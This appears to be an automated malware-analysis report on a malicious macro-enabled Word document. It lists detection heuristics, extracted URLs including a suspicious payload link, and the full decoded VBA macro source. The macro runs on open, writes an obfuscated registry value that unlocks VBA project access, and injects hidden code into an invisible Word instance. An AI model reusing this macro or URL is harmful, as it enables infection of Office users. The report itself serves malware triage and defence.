MALICIOUS
132
Risk Score
Heuristics 6
-
VBA project inside OOXML medium 3 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
ptrView.VBProject.VBComponents("ThisDocument").CodeModule.AddFromString memClear -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set varLeft = CreateObject("msxml2.domdocument") -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub autoopen() -
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://2000-duncan-stock.com/bijol/rfTFhXmTM9I/Lx7zhV33GuEzpi8XsXexhyabRGDdEsRuDszlg/98911/ZPHReing370cAxrDoe12AsBnK/7ZNBeSRcbxkaWxTRZYM5hsIdi/92099/o In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
- http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
- http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
- http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
- http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
- http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
- http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 2784 bytes |
SHA-256: 8951c0741d8014cf7c534c5576c78b7b77345b76621bfa872a41a1478af5a92a |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{5BF357F7-F178-4908-BDBC-0EA5126682EE}{08084D55-8DD5-4D3E-9AE3-37224823ACD4}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "varPtrTable"
Sub autoopen()
namespaceCollectionListbox
Dim copyQuery As String
copyQuery = listEx
rightList copyQuery
End Sub
Attribute VB_Name = "storageReference"
Function listTrustBuffer(valueIndexBuffer As String) As Variant
Dim varLeft As Object
Dim nextW As Object
Set varLeft = CreateObject("msxml2.domdocument")
Set nextW = varLeft.createElement("code")
nextW.DataType = "bin.base64"
nextW.Text = valueIndexBuffer
listTrustBuffer = nextW.nodeTypedValue
End Function
Function ptrIterator(convertRemoveRepo, constConvert)
ptrIterator = StrConv(convertRemoveRepo, constConvert)
End Function
Attribute VB_Name = "dataLibSwap"
Sub rightList(memClear As String)
Set repoOptionMemory = CreateObject("word.application")
Set ptrView = repoOptionMemory.Documents.Add
ptrView.VBProject.VBComponents("ThisDocument").CodeModule.AddFromString memClear
repoOptionMemory.Visible = False
repoOptionMemory.Quit SaveChanges:=wdDoNotSaveChanges
End Sub
Attribute VB_Name = "collectionRef"
Function bufferScreenPointer() As String
bufferScreenPointer = Application.Version
End Function
Function rightButton()
rightButton = "U5UX1VTRVJcU29mdHdhcmVcTWlj"
End Function
Function localLocal()
localLocal = "cript.sh"
End Function
Function buttonOption()
buttonOption = "VjdXJpdHlcQWN"
End Function
Sub namespaceCollectionListbox()
ptrQuery = ptrIterator(listTrustBuffer("SEtFWV9DVVJSR" & rightButton & "cm9zb2Z0XE9mZmljZVw="), vbUnicode)
rightBorder = bufferScreenPointer
linkPaste = ptrIterator(listTrustBuffer("XFdvcmRcU2" & buttonOption & "jZXNzVkJPTQ=="), vbUnicode)
refViewCount = ptrQuery & rightBorder & linkPaste
With CreateObject("ws" & localLocal & "ell")
.RegWrite refViewCount, 1, "REG_DWORD"
End With
End Sub
Public Function linkMain(ByVal genericVariableVb As String) As String
For selectArray = 1 To Len(genericVariableVb) Step 2
iteratorPasteWindow = Chr$(Val("&H" & Mid$(genericVariableVb, selectArray, 2)))
linkCaptionW = linkCaptionW & iteratorPasteWindow
Next selectArray
linkMain = linkCaptionW
End Function
Function listEx()
listEx = UserForm1.TextBox1
End Function
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 26624 bytes |
SHA-256: 64693857dc8106cf424e1693b1368276cd7be94178cc66db5424f33976f21427 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 1 long base64-like blob(s).
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.